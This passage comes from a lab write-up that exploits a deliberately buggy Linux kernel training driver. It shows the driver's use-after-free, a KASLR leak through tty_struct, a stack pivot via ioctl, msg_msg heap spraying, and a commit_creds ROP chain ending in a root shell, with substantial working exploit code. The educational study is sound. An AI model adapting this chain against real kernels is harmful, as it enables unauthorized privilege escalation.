{
  printk(KERN_INFO "module_close called\n");
  kfree(g_buf);
  return 0;
}

When we close the kernel driver, g_buf is freed. As the author explains, this is a buggy code pattern since we can open multiple handles to the driver from within our program. Something like this can occur.

1. We’ve done nothing, g_buf = NULL
2. We’ve opened the driver, g_buf = 0xffff...a0, and we have fd1 in our program
3. We’ve opened the driver a second time, g_buf = 0xffff...b0 . The original value of 0xffff...a0 has been overwritten. It can no longer be freed and would cause a memory leak (not super important). We now have fd2 in our program
4. We close fd1 which calls kfree() on 0xffff...b0 and frees the same pointer we have a reference to with fd2.

At this point, via our access to fd2, we have a use after free since we can still potentially use a freed reference to g_buf. The module also allows us to use the open file descriptor with read and write methods.

static ssize_t module_read(struct file *file,
                           char __user *buf, size_t count,
                           loff_t *f_pos)
{
  printk(KERN_INFO "module_read called\n");

  if (count > BUFFER_SIZE) {
    printk(KERN_INFO "invalid buffer size\n");
    return -EINVAL;
  }

  if (copy_to_user(buf, g_buf, count)) {
    printk(KERN_INFO "copy_to_user failed\n");
    return -EINVAL;
  }

  return count;
}

static ssize_t module_write(struct file *file,
                            const char __user *buf, size_t count,
                            loff_t *f_pos)
{
  printk(KERN_INFO "module_write called\n");

  if (count > BUFFER_SIZE) {
    printk(KERN_INFO "invalid buffer size\n");
    return -EINVAL;
  }

  if (copy_from_user(g_buf, buf, count)) {
    printk(KERN_INFO "copy_from_user failed\n");
    return -EINVAL;
  }

  return count;
}

So with these methods, we are able to read and write to our freed object. This is great for us since we’re free to pretty much do anything we want. We are limited somewhat by the object size which is hardcoded in the code to 0x400.

At a high-level, UAFs are generally exploited by creating the UAF condition, so we have a reference to a freed object within our control, and then we want to cause the allocation of a different object to fill the space that was previously filled by our freed object.

So if we allocated a g_buf of size 0x400 and then freed it, we need to place another object in its place. This new object would then be the target of our reads and writes.

KASLR Bypass

The first thing we need to do is bypass KASLR by leaking some address that is a known static offset from the kernel image base. I started searching for objects that have leakable members and again, @ptrYudai came to the rescue with a catalog on useful Linux Kernel data structures for exploitation. This lead me to the tty_struct which is allocated on the same slab cache as our 0x400 buffer, the kmalloc-1024. The tty_struct has a field called tty_operations which is a pointer to a function table that is a static offset from the kernel base. So if we can leak the address of tty_operations we will have bypassed KASLR. This struct was used by NCCGROUP for the same purpose in their exploit of CVE-2022-32250.

It’s important to note that slab cache that we’re targeting is per-CPU. Luckily, the VM we’re given for the challenge only has one logical core so we don’t have to worry about CPU affinity for this exercise. On most systems with more than one core, we would have to worry about influencing one specific CPU’s cache.

So with our module_read ability, we will simply:

1. Free g_buf
2. Create dev_tty structs until one hopefully fills the freed space where g_buf used to live
3. Call module_read to get a copy of the g_buf which is now actually our dev_tty and then inspect the value of tty_struct->tty_operations.

Here are some snippets of code related to that from the exploit:

// Leak a tty_struct->ops field which is constant offset from kernel base
uint64_t leak_ops(int fd) {
    if (fd < 0) {
        err("Bad fd given to `leak_ops()`");
    }

    /* tty_struct {
        int magic;      // 4 bytes
        struct kref;    // 4 bytes (single member is an int refcount_t)
        struct device *dev; // 8 bytes
        struct tty_driver *driver; // 8 bytes
        const struct tty_operations *ops; (offset 24 (or 0x18))
        ...
    } */

    // Read first 32 bytes of the structure
    unsigned char *ops_buf = calloc(1, 32);
    if (!ops_buf) {
        err("Failed to allocate ops_buf");
    }

    ssize_t bytes_read = read(fd, ops_buf, 32);
    if (bytes_read != (ssize_t)32) {
        err("Failed to read enough bytes from fd: %d", fd);
    }

    uint64_t ops = *(uint64_t *)&ops_buf[24];
    info("tty_struct->ops: 0x%lx", ops);

    // Solve for kernel base, keep the last 12 bits
    uint64_t test = ops & 0b111111111111;

    // These magic compares are for static offsets on this kernel
    if (test == 0xb40ULL) {
        return ops - 0xc39b40ULL;
    }

    else if (test == 0xc60ULL) {
        return ops - 0xc39c60ULL;
    }

    else {
        err("Got an unexpected tty_struct->ops ptr");
    }
}

There’s a confusing part about ANDing off the lower 12 bits of the leaked value and that’s because I kept getting one of two values during multiple runs of the exploit within the same boot. This is probably because there’s two kinds of tty_structs that can be allocated and they are allocated in pairs. This if else if block just handles both cases and solves the kernel base for us. So at this point we have bypassed KASLR because we know the base address the kernel is loaded at.

RIP Control

Next, we need someway to high-jack execution. Luckily, we can use the same data structure, tty_struct as we can write to the object using module_write and we can overwrite the pointer value for tty_struct->ops.

struct tty_operations is a table of function pointers, and looks like this:

struct tty_struct * (*lookup)(struct tty_driver *driver,
			struct file *filp, int idx);
	int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
	void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
	int  (*open)(struct tty_struct * tty, struct file * filp);
	void (*close)(struct tty_struct * tty, struct file * filp);
	void (*shutdown)(struct tty_struct *tty);
	void (*cleanup)(struct tty_struct *tty);
	int  (*write)(struct tty_struct * tty,
		      const unsigned char *buf, int count);
	int  (*put_char)(struct tty_struct *tty, unsigned char ch);
	void (*flush_chars)(struct tty_struct *tty);
	unsigned int (*write_room)(struct tty_struct *tty);
	unsigned int (*chars_in_buffer)(struct tty_struct *tty);
	int  (*ioctl)(struct tty_struct *tty,
		    unsigned int cmd, unsigned long arg);
...SNIP...

These functions are invoked on the tty_struct when certain actions are performed on an instance of a tty_struct. For example, when the tty_struct’s controlling process exits, several of these functions are called in a row: close(), shutdown(), and cleanup().

So our plan, will be to:

1. Create UAF condition
2. Occupy free’d memory with tty_struct
3. Read a copy of the tty_struct back to us in userland
4. Alter the tty->ops value to point to a faked function table that we control
5. Write the new data back to the tty_struct which is now corrupted
6. Do something to the tty_struct that causes a function we control to be invoked

PAWNYABLE tells us that a popular target is invoking ioctl() as the function takes several arguments which are user-controlled.

int  (*ioctl)(struct tty_struct *tty,
		    unsigned int cmd, unsigned long arg);

From userland, we can supply the values for cmd and arg. This gives us some flexibility. The value we can provide for cmd is somewhat limited as an unsigned int is only 4 bytes. arg gives us a full 8 bytes of control over RDX. Since we can control the contents of RDX whenever we invoke ioctl(), we need to find a gadget to pivot the stack to some code in the kernel heap that we can control. I found such a gadget here:

0x14fbea: push rdx; xor eax, 0x415b004f; pop rsp; pop rbp; ret;

We will push a value from RDX onto the stack, and then later pop that value into RSP. When ioctl() returns, we will return to whatever value we called ioctl() with in arg. So the control flow will go something like:

1. Invoke ioctl() on our corrupted tty_struct
2. ioctl() has been overwritten by a stack-pivot gadget that places the location of our ROP chain into RSP
3. ioctl() returns execution to our ROP chain

So now we have a new problem, how do we create a fake function table and ROP chain in the kernel heap AND figure out where we stored them?

Creating/Locating a ROP Chain and Fake Function Table

This is where I started to diverge from the author’s exploitation strategy. I couldn’t quite follow along with the intended solution for this problem, so I began searching for other ways. With our extremely powerful read capability in mind, I remembered the msg_msg struct from @ptrYudai’s aforementioned structure catalog, and realized that the structure was perfect for our purposes as it:

• Stores arbitrary data inline in the structure body (not via a pointer to the heap)
• Contains a linked-list member that contains the addresses to prev and next messages within the same kernel message queue

So quickly, a strategy began to form. We could:

1. Create our ROP chain and Fake Function table in a buffe
2. Send the buffer as the body of a msg_msg struct
3. Use our module_read capability to read the msg_msg->list.next and msg_msg->list.prev values to know where in the heap at least two of our messages were stored

With this ability, we would know exactly what address to supply as an argument to ioctl() when we invoke it in order to pivot the stack into our ROP chain. Here is some code related to that from the exploit:

// Allocate one msg_msg on the heap
size_t send_message() {
    // Calcuate current queue
    if (num_queue < 1) {
        err("`send_message()` called with no message queues");
    }
    int curr_q = msg_queue[num_queue - 1];

    // Send message
    size_t fails = 0;
    struct msgbuf {
        long mtype;
        char mtext[MSG_SZ];
    } msg;

    // Unique identifier we can use
    msg.mtype = 0x1337;

    // Construct the ROP chain
    memset(msg.mtext, 0, MSG_SZ);

    // Pattern for offsets (debugging)
    uint64_t base = 0x41;
    uint64_t *curr = (uint64_t *)&msg.mtext[0];
    for (size_t i = 0; i < 25; i++) {
        uint64_t fill = base << 56;
        fill |= base << 48;
        fill |= base << 40;
        fill |= base << 32;
        fill |= base << 24;
        fill |= base << 16;
        fill |= base << 8;
        fill |= base;
        
        *curr++ = fill;
        base++; 
    }

    // ROP chain
    uint64_t *rop = (uint64_t *)&msg.mtext[0];
    *rop++ = pop_rdi; 
    *rop++ = 0x0;
    *rop++ = prepare_kernel_cred; // RAX now holds ptr to new creds
    *rop++ = xchg_rdi_rax; // Place creds into RDI 
    *rop++ = commit_creds; // Now we have super powers
    *rop++ = kpti_tramp;
    *rop++ = 0x0; // pop rax inside kpti_tramp
    *rop++ = 0x0; // pop rdi inside kpti_tramp
    *rop++ = (uint64_t)pop_shell; // Return here
    *rop++ = user_cs;
    *rop++ = user_rflags;
    *rop++ = user_sp;
    *rop   = user_ss;

    /* struct tty_operations {
        struct tty_struct * (*lookup)(struct tty_driver *driver,
                struct file *filp, int idx);
        int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
        void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
        int  (*open)(struct tty_struct * tty, struct file * filp);
        void (*close)(struct tty_struct * tty, struct file * filp);
        void (*shutdown)(struct tty_struct *tty);
        void (*cleanup)(struct tty_struct *tty);
        int  (*write)(struct tty_struct * tty,
                const unsigned char *buf, int count);
        int  (*put_char)(struct tty_struct *tty, unsigned char ch);
        void (*flush_chars)(struct tty_struct *tty);
        unsigned int (*write_room)(struct tty_struct *tty);
        unsigned int (*chars_in_buffer)(struct tty_struct *tty);
        int  (*ioctl)(struct tty_struct *tty,
                unsigned int cmd, unsigned long arg);
        ...
    } */

    // Populate the 12 function pointers in the table that we have created.
    // There are 3 handlers that are invoked for allocated tty_structs when 
    // their controlling process exits, they are close(), shutdown(),
    // and cleanup(). We have to overwrite these pointers for when we exit our
    // exploit process or else the kernel will panic with a RIP of 
    // 0xdeadbeefdeadbeef. We overwrite them with a simple ret gadget
    uint64_t *func_table = (uint64_t *)&msg.mtext[rop_len];
    for (size_t i = 0; i < 12; i++) {
        // If i == 4, we're on the close() handler, set to ret gadget
        if (i == 4) { *func_table++ = ret; continue; }

        // If i == 5, we're on the shutdown() handler, set to ret gadget
        if (i == 5) { *func_table++ = ret; continue; }

        // If i == 6, we're on the cleanup() handler, set to ret gadget
        if (i == 6) { *func_table++ = ret; continue; }

        // Magic value for debugging
        *func_table++ = 0xdeadbeefdeadbe00 + i;
    }

    // Put our gadget address as the ioctl() handler to pivot stack
    *func_table = push_rdx;

    // Spray msg_msg's on the heap
    if (msgsnd(curr_q, &msg, MSG_SZ, IPC_NOWAIT) == -1) {
        fails++;
    }

    return fails;
}

I got a bit wordy with the comments in this block, but it’s for good reason. I didn’t want the exploit to ruin the kernel state, I wanted to exit cleanly. This presented a problem as we are completely hi-jacking the ops function table which the kernel will use to cleanup our tty_struct. So I found a gadget that simply performs a ret operation, and overwrote the function pointers for close(), shutdown(), and cleanup() so that when they are invoked, they simply return and the kernel is apparently fine with this and doesn’t panic.

So our message body looks something like: <—-ROP—-Faked Function Table—->